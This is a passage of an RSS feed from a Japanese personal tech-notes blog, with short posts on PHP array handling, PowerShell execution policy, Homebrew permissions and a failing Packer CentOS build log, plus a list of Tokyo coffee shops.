&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$array &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;a&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;b&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;c&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$array2 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;array_map&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;($val){ &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; $val &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; ; }, $array);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;foreach&lt;/span&gt;($array &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; $k &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; $v ){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$k&lt;/span&gt;&lt;span style="color:#e6db74"&gt; .... &lt;/span&gt;&lt;span style="color:#e6db74"&gt;$v\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;foreach&lt;/span&gt;($array2 &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; $k &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; $v ){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$k&lt;/span&gt;&lt;span style="color:#e6db74"&gt; .... &lt;/span&gt;&lt;span style="color:#e6db74"&gt;$v\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ php tests_map.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a .... &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;b .... &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;c .... &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a .... &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;b .... &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;c .... &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="インスタンスクラスのstatic-メンバーへのアクセス"&gt;インスタンスクラスのstatic メンバーへのアクセス&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$model_class &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_class&lt;/span&gt;($instance);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$value &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $model_class&lt;span style="color:#f92672"&gt;::&lt;/span&gt;$static_value;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="配列要素の削除"&gt;配列要素の削除&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;unset&lt;/span&gt;($array[$i]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/hdknr/scriptogr.am/tree/master/php"&gt;PHP docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/nissuk/954926"&gt;PHP: Noticeエラーを回避してarrayから値を取得するいくつかの例 &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="mysql"&gt;mysql&lt;/h2&gt;
&lt;p&gt;-接続確認&lt;/p&gt;</description></item><item><title>CentOS</title><link>https://hdknr.github.io/blogs/posts/2015/08/centos/</link><pubDate>Tue, 04 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/centos/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;$ sudo yum install graphviz-python graphviz-devel
$ pip install pygraphviz
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Mac</title><link>https://hdknr.github.io/blogs/posts/2015/08/mac/</link><pubDate>Tue, 04 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/mac/</guid><description>&lt;ul&gt;
&lt;li&gt;2017 購入 Macbook Pro 13 (A1706)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.co.jp/gp/product/B01NCII791/ref=oh_aui_detailpage_o03_s00?ie=UTF8&amp;amp;psc=1"&gt;シェルケース&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Laravel - Laravel PHP Framework</title><link>https://hdknr.github.io/blogs/posts/2015/08/laravel-laravel-php-framework/</link><pubDate>Mon, 03 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/laravel-laravel-php-framework/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://laravel.jp/"&gt;laravel.jp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Test</title><link>https://hdknr.github.io/blogs/posts/2015/08/test/</link><pubDate>Mon, 03 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/test/</guid><description>&lt;h2 id="nose"&gt;Nose&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://qiita.com/tomotaka_ito/items/1644db679264dcbb11f5"&gt;noseで気軽にテストを書く(+geventの場合)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/django-nose/django-nose"&gt;https://github.com/django-nose/django-nose&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://qiita.com/seizans/items/2f78f2a263c63c36b267"&gt;Django でのテスト&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bdd"&gt;BDD&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/d9e6c3ee190d4996e015#file-behave-md"&gt;Behave&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/d9e6c3ee190d4996e015#file-lettuce-md"&gt;Lettuce&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="scripting"&gt;Scripting&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/d9e6c3ee190d4996e015#file-selenium-md"&gt;Selenium&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Geolocation</title><link>https://hdknr.github.io/blogs/posts/2015/08/geolocation/</link><pubDate>Sat, 01 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/geolocation/</guid><description>&lt;h2 id="google-maps-api"&gt;Google Maps API&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/googlemaps/google-maps-services-python"&gt;googlemaps/google-maps-services-python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://d.hatena.ne.jp/memomemokun/20150617/1434528429"&gt;Google Geocoding API で住所から緯度経度を求める&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>PowerShell</title><link>https://hdknr.github.io/blogs/posts/2015/08/powershell/</link><pubDate>Sat, 01 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/powershell/</guid><description>&lt;p&gt;PowerShell&lt;/p&gt;
&lt;h2 id="実行権限"&gt;実行権限&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.atmarkit.co.jp/ait/articles/0805/16/news139.html"&gt;WindowsでPowerShellスクリプトの実行セキュリティポリシーを変更する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PS C:\WINDOWS\system32&amp;gt; Get-ExecutionPolicy
RemoteSigned
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;PS C:\WINDOWS\system32&amp;gt; Set-ExecutionPolicy Unrestricted
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;Set-ExecutionPolicy : Windows PowerShell により実行ポリシーは正常に更新されましたが、設定は範囲がより明確に定義されたポリシーで上書きされました。この上書きにより、シェルで現在有効な実行ポリシー RemoteSigned が保持されます。
実行ポリシーの設定を表示するには、「Get-ExecutionPolicy -List」と入力してください。詳細については、&amp;#34;Get-Help Set-ExecutionPolicy&amp;#34; を参照してください。
発生場所 行:1 文字:1
+ Set-ExecutionPolicy Unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (:) [Set-ExecutionPolicy], SecurityException
+ FullyQualifiedErrorId : ExecutionPolicyOverride,Microsoft.PowerShell.Commands.SetExecutionPolicyCommand
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;PS C:\WINDOWS\system32&amp;gt; Get-ExecutionPolicy -List
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser RemoteSigned
LocalMachine Unrestricted
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://stackoverflow.com/questions/27753917/how-successfully-change-execution-policy-and-enable-execution-of-powershell-scri"&gt;How successfully change Execution policy and enable execution of Powershell scripts&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Homebrew</title><link>https://hdknr.github.io/blogs/posts/2015/07/homebrew/</link><pubDate>Fri, 31 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/homebrew/</guid><description>&lt;h2 id="muliti-admin"&gt;Muliti-Admin&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.rubycoloredglasses.com/2014/06/sharing-administrative-rights-with-homebrew/"&gt;Sharing Administrative Rights with Homebrew&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo dseditgroup -o edit -a hide -t user admin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo chmod -R g+w /usr/local
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo chmod -R g+w /Library/Caches/Homebrew
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Packer</title><link>https://hdknr.github.io/blogs/posts/2015/07/packer/</link><pubDate>Fri, 31 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/packer/</guid><description>&lt;h2 id="packer--box-cutter-for-windows"&gt;Packer &amp;amp;&amp;amp; Box-Cutter for Windows&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr&amp;gt;vagrant --version
Vagrant 1.7.4
C:\Users\hdknr&amp;gt;packer --version
0.8.2
C:\Users\hdknr&amp;gt;ver
Microsoft Windows [Version 6.3.9600]
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\work&amp;gt;git clone https://github.com/boxcutter/centos.git
Cloning into &amp;#39;centos&amp;#39;...
remote: Counting objects: 1100, done.
remote: Compressing objects: 100% (6/6), done.
Rreceiving objects: 92% (1012/1100), 108.0emote: Total 1100 (delta 1), reused 0 (delta 0), pack-reused 1093
00 KiB/s
Receiving objects: 100% (1100/1100), 227.44 KiB | 196.00 KiB/s, done.
Resolving deltas: 100% (749/749), done.
Checking connectivity... done.
C:\Users\hdknr\Documents\work&amp;gt;cd centos
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\work\centos&amp;gt;vim http\ks6.cfg
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\work\centos&amp;gt;git diff http\ks6.cfg
diff --git a/http/ks7.cfg b/http/ks7.cfg
index 434a369..16797b0 100644
--- a/http/ks7.cfg
+++ b/http/ks7.cfg
@@ -14,11 +14,11 @@
# &amp;gt; linux text ks=http://&amp;lt;your_ip&amp;gt;:8000/ks.cfg
# Required settings
-lang en_US.UTF-8
-keyboard us
+lang ja_JP.UTF-8
+keyboard jp106
rootpw vagrant
authconfig --enableshadow --enablemd5
-timezone UTC
+timezone Asia/Tokyo
# Optional settings
install
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\work\centos&amp;gt;packer validate centos66.json
Template validated successfully.
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\work\centos&amp;gt;packer build -only=virtualbox-iso centos66.json
virtualbox-iso output will be in this color.
==&amp;gt; virtualbox-iso: Downloading or copying Guest additions
virtualbox-iso: Downloading or copying: file:///C:/Program%20Files/Oracle/VirtualBox/VBoxGuestAdditions.iso
==&amp;gt; virtualbox-iso: Downloading or copying ISO
virtualbox-iso: Downloading or copying: file:///iso/CentOS-6.6-x86_64-bin-DVD1.iso
virtualbox-iso: Error downloading: open iso/CentOS-6.6-x86_64-bin-DVD1.iso: The system cannot find the path specifie
d.
virtualbox-iso: Downloading or copying: http://mirrors.kernel.org/centos/6.6/isos/x86_64/CentOS-6.6-x86_64-bin-DVD1.
iso
virtualbox-iso: Download progress: 0%
...
==&amp;gt; virtualbox-iso: Starting HTTP server on port 8364
==&amp;gt; virtualbox-iso: Creating virtual machine...
==&amp;gt; virtualbox-iso: Creating hard drive...
==&amp;gt; virtualbox-iso: Creating forwarded port mapping for SSH (host port 2262)
==&amp;gt; virtualbox-iso: Executing custom VBoxManage commands...
virtualbox-iso: Executing: modifyvm centos66 --memory 512
virtualbox-iso: Executing: modifyvm centos66 --cpus 1
==&amp;gt; virtualbox-iso: Starting the virtual machine...
==&amp;gt; virtualbox-iso: Waiting 10s for boot...
==&amp;gt; virtualbox-iso: Typing the boot command...
==&amp;gt; virtualbox-iso: Waiting for SSH to become available...
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;==&amp;gt; virtualbox-iso: Uploading VirtualBox version info (4.3.30)
==&amp;gt; virtualbox-iso: Uploading VirtualBox guest additions ISO...
==&amp;gt; virtualbox-iso: Provisioning with shell script: script/fix-slow-dns.sh
virtualbox-iso: sudo: sudo を実行するには tty がなければいけません。すみません
==&amp;gt; virtualbox-iso: Unregistering and deleting virtual machine...
==&amp;gt; virtualbox-iso: Deleting output directory...
Build &amp;#39;virtualbox-iso&amp;#39; errored: Script exited with non-zero exit status: 1
==&amp;gt; Some builds didn&amp;#39;t complete successfully and had errors:
--&amp;gt; virtualbox-iso: Script exited with non-zero exit status: 1
==&amp;gt; Builds finished but no artifacts were created.
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Coffee</title><link>https://hdknr.github.io/blogs/posts/2015/07/coffee/</link><pubDate>Thu, 30 Jul 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/07/coffee/</guid><description>&lt;h2 id="stand--cafe"&gt;Stand / Cafe&lt;/h2&gt;
&lt;h3 id="渋谷"&gt;渋谷&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;千駄ヶ谷 &lt;a href="http://beagoodneighbor.net/sendagaya"&gt;Be a Good Neighbor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;道玄坂 &lt;a href="http://www.about-life.coffee/"&gt;ABOUT LIFE COFFEE BREWERS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;富ヶ谷&lt;a href="https://www.facebook.com/Fuglen.Tokyo"&gt;Fuglen Tokyo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;猿楽町 &lt;a href="http://shop.thecoffeeshop.jp/shopinfo/"&gt;THE COFFEESHOP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="目黒"&gt;目黒&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;中目黒 &lt;a href="http://www.onibuscoffee.com/post/138145679285/nakameguro"&gt;Onibus&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="日本橋"&gt;日本橋&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;東日本橋 &lt;a href="http://goodcoffee.me/coffeeshop/mighty-steps-coffee-stop/"&gt;Mighty steps coffee stop&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
